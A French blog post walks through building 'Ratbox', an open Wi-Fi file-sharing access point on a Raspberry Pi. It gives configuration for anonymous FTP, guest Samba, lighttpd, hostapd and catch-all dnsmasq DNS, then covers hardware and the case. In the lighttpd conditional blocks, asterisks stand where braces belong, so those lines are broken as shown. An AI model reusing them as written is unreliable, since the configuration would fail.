Un projet que j'avais en tête et qui me motivait pour l'achat d'un Raspberry Pi était la création d'une piratebox sur ce système, le fait de construire de zéro un point d'accès permettant le partage de fichiers via un réseau ouvert. Ce projet a pour nom de code "Ratbox" (oui, un sale jeu de mot: Raspberry Pi Ratbox), et a été entamé dans un premier temps sans la partie wireless, n'ayant pas commandé le matériel. Celui-ci a été ajouté par la suite, et configuré de manière à fournir l'ensemble des fonctionnalités.

Au niveau du matériel nécessaire, il faut quelques éléments particuliers: - une clef WiFi TP-LINK TP-WN727N (testée et approuvée, support mac80211) - un Raspberry Pi - une carte SD haute capacité (16Go par exemple) Class 10 - une batterie USB ou tout autre moyen d'alimentation pouvant fournir 5V/1A - un cable USB en Y (2 prises USB mâles classiques et une mini-usb par exemple) - un support de stockage (disque dur USB ou combo mini-hub et clef USB) - un boitier tout pourri ou stylé, au choix

Avant toute chose, il faut déployer une Raspbian Wheezy sur la carte SD, à l'aide de dd. Une fois cela effectué, montez les partitions et localisez le fichier /etc/network/interfaces de manière à configurer le DHCP sur l'interface ethernet. Cela permettra de se connecter en SSH sur le RaspPi sans avoir à passer par un clavier et un écran, un brin ennuyeux car l'écran doit supporter le HDMI et le clavier être en USB.

Le fichier de configuration /etc/network/interfaces suivant prend ainsi en charge le DHCP sur la connexion ethernet et configure le réseau sans-fil par la même occasion:

auto lo

iface lo inet loopback
iface eth0 inet dhcp

iface wlan0 inet static
        address 192.168.0.1
        network 192.168.0.0
        netmask 255.255.255.0
        broadcast 192.168.0.255
        gateway 192.168.0.1

La Raspbian déployée, on la configure à l'aide de l'utilitaire:

# sudo raspi-config

Et on redémarre le RaspPi. On identifie l'adresse IP attribuée par la box (ou sur tout LAN) sur laquelle(lequel) on aura pris soin de le connecter pour avoir accès à Internet et profiter du DHCP. On installe ensuite Samba, ProFTPd, Lighttpd, php5 et les modules fastcgi-php et redirect. L'objectif étant de créer un dossier de partage sur la carte SD (bonjour les IO) accessible via du web, FTP et SMB:

# apt-get install proftpd samba lighttpd php5 php5-fpm

On configure d'abord le serveur FTP, via le paramétrage de /etc/proftpd/proftpd.conf:

ServerName                      "Ratbox"
  ServerType                      standalone
  DeferWelcome                    off

  MultilineRFC2228                on
  DefaultServer                   on
  ShowSymlinks                    on

  TimeoutNoTransfer               600
  TimeoutStalled                  600
  TimeoutIdle                     1200

  DisplayLogin                    welcome.msg
  DisplayChdir                    .message true
  ListOptions                     "-l"

  DenyFilter                      \*.*/

  # A basic anonymous configuration, no upload directories.

 <Anonymous ~ftp>
   User                         ftp
   Group                                nogroup
   # We want clients to be able to login with "anonymous" as well as "ftp"
   UserAlias                    anonymous ftp
   # Cosmetic changes, all files belongs to ftp user
   DirFakeUser  on ftp
   DirFakeGroup on ftp

   RequireValidShell            off

   # Limit the maximum number of anonymous logins
   MaxClients                   10

   # We want 'welcome.msg' displayed at login, and '.message' displayed
   # in each newly chdired directory.
   DisplayLogin         welcome.msg
   DisplayChdir         .message
 </Anonymous>

Puis Samba, via le fichier /etc/samba/smb.conf:

[global]
        server string = %h server
        map to guest = Bad User
        obey pam restrictions = Yes
        pam password change = Yes
        passwd program = /usr/bin/passwd %u
        passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
        unix password sync = Yes
        syslog = 0
        log file = /var/log/samba/log.%m
        max log size = 1000
        dns proxy = No
        usershare allow guests = Yes
        panic action = /usr/share/samba/panic-action %d
        idmap config * : backend = tdb

[homes]
        comment = Home Directories
        valid users = %S
        create mask = 0700
        directory mask = 0700
        browseable = No

[ratbox]
        comment = RatBox
        path = /srv/ftp/
        read only = No
        create mask = 0777
        directory mask = 0777
        guest only = Yes
        guest ok = Yes

Et enfin lighttpd:

server.modules = (
        "mod_access",
        "mod_alias",
        "mod_compress",
        "mod_redirect",
#       "mod_rewrite",
)

server.document-root        = "/var/www"
server.upload-dirs          = ( "/var/cache/lighttpd/uploads" )
server.errorlog             = "/var/log/lighttpd/error.log"
server.pid-file             = "/var/run/lighttpd.pid"
server.username             = "www-data"
server.groupname            = "www-data"
server.port                 = 80


index-file.names            = ( "index.php", "index.html", "index.lighttpd.html" )
url.access-deny             = ( "~", ".inc" )
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )

compress.cache-dir          = "/var/cache/lighttpd/compress/"
compress.filetype           = ( "application/javascript", "text/css", "text/html", "text/plain" )

# disable php in ~/share/files
$HTTP["url"] =~ "^/share/files" *
        fastcgi.server= ()
*

# redirect queries to "http://rat.box/"
$HTTP["host"] !~ "^(rat\.box)$" *
        url.redirect = ("/(.*)" => "http://rat.box")
*

# default listening port for IPv6 falls back to the IPv4 port
include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
include_shell "/usr/share/lighttpd/include-conf-enabled.pl"

On installe un peu de PHP histoire de fournir une homepage et un navigateur de fichiers basé sur jQuery (elFinder v2, ici une version modifiée qui embarque le JS et le CSS requis). Libre à vous d'ajouter des paquetages ou des pages. Personnellement, j'ai banni tout serveur de base de données car MySQL par exemple consomme énormément d'après la grande majorité des testeurs de RaspPi.

La configuration du réseau sans-fil ne pose pas de problème majeur, hostapd supportant très bien la carte WiFi USB (chipset realtek). J'ai utilisé le fichier /etc/hostapd/hostapd.conf suivant:

# interface
interface=wlan0
driver=nl80211
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0

ssid=Ratbox
hw_mode=g
channel=6

beacon_int=100
auth_algs=3
wmm_enabled=1

On termine avec l'installation de dnsmasq, la configuration du DHCP et celle de notre nom de domaine:

local=/rat.box/
dhcp-range=192.168.0.2,192.168.0.250,255.255.255.0,12h
address=/#/192.168.0.1

Connexion du support de stockage

Un cable en Y est nécessaire pour assurer d'une part l'alimentation suffisante de l'ensemble et d'autre part la liaison de données. Durant mes premiers tests, j'ai employé un disque dur externe formaté en vfat, qui fonctionnait très bien. Cependant, pour des raisons d'encombrement, je suis retourné sur un stockage de type clef USB de 32Go. Cependant, les deux possibilités requièrent une connectique différente.

Dans le cas du disque dur externe connecté en USB, c'est très simple: il suffit de connecter la fiche mini-usb au disque, la fiche USB de données au RaspPi, et la dernière fiche USB sur la batterie. La batterie alimente ainsi le RaspPi, la clef Wifi via le double connecteur USB du RaspPi, et le disque dur.

Dans le cas de la clef USB, j'ai bricolé un petit connecteur maison permettant d'injecter l'alimentation dans un raccord male/femelle (un prolongateur USB quoi).

L'avantage de supprimer le hub est non-négligeable: on gagne énormément en encombrement. Le résultat final:

<emb135|center>

Le boitier

En ce qui concerne le boîtier, j'ai dans un premier temps récupéré un boîtier PVC d'un vieux projet de techno que j'ai fait en 5ème ou 4ème (c'est dire), que j'ai un peu charcuté pour pouvoir faire passer un fil d'alimentation en douce, et suffisamment grand pour pouvoir accueillir un hub (temporairement) et le RaspPi. Cependant il s'est vite révélé trop petit, et j'ai donc bricolé une boîte de carte Wifi Alfa pour en faire un boitier de fortune:

<emb136|center>

Conclusion

Le meeting de février m'a aussi permis de beta-tester ma première version de Ratbox, et d'ailleurs quelques soucis ont pointé le bout de leur nez: plusieurs personnes téléchargeant des fichiers ont rendu le point d'accès invisible, certainement du aux accès disques USB ou à la consommation CPU. Je vais tweaker encore au max mon raspberry Pi et améliorer le concept au cours des prochains meeting. Sachez toutefois qu'elle sera présente et disponible à tous les futurs meetings HZV !

Par ailleurs, vous trouverez dans les documents joints à cet article le PDF de ma présentation, qui sera aussi disponible en ligne plus ou moins rapidement sur le site d'HZV.



Les contenus disponibles sur ce blog sont publiés sous licence Creative Commons BY-NC-SA.
Vous pouvez réutiliser tout ou partie de ces contenus à condition de citer l'auteur et l'origine, vous ne pouvez en faire une utilisation commerciale, et enfin vous devez partager tout travail ou œuvre dérivée sous les mêmes conditions — c'est-à-dire avec la même licence d'utilisation Creative Commons.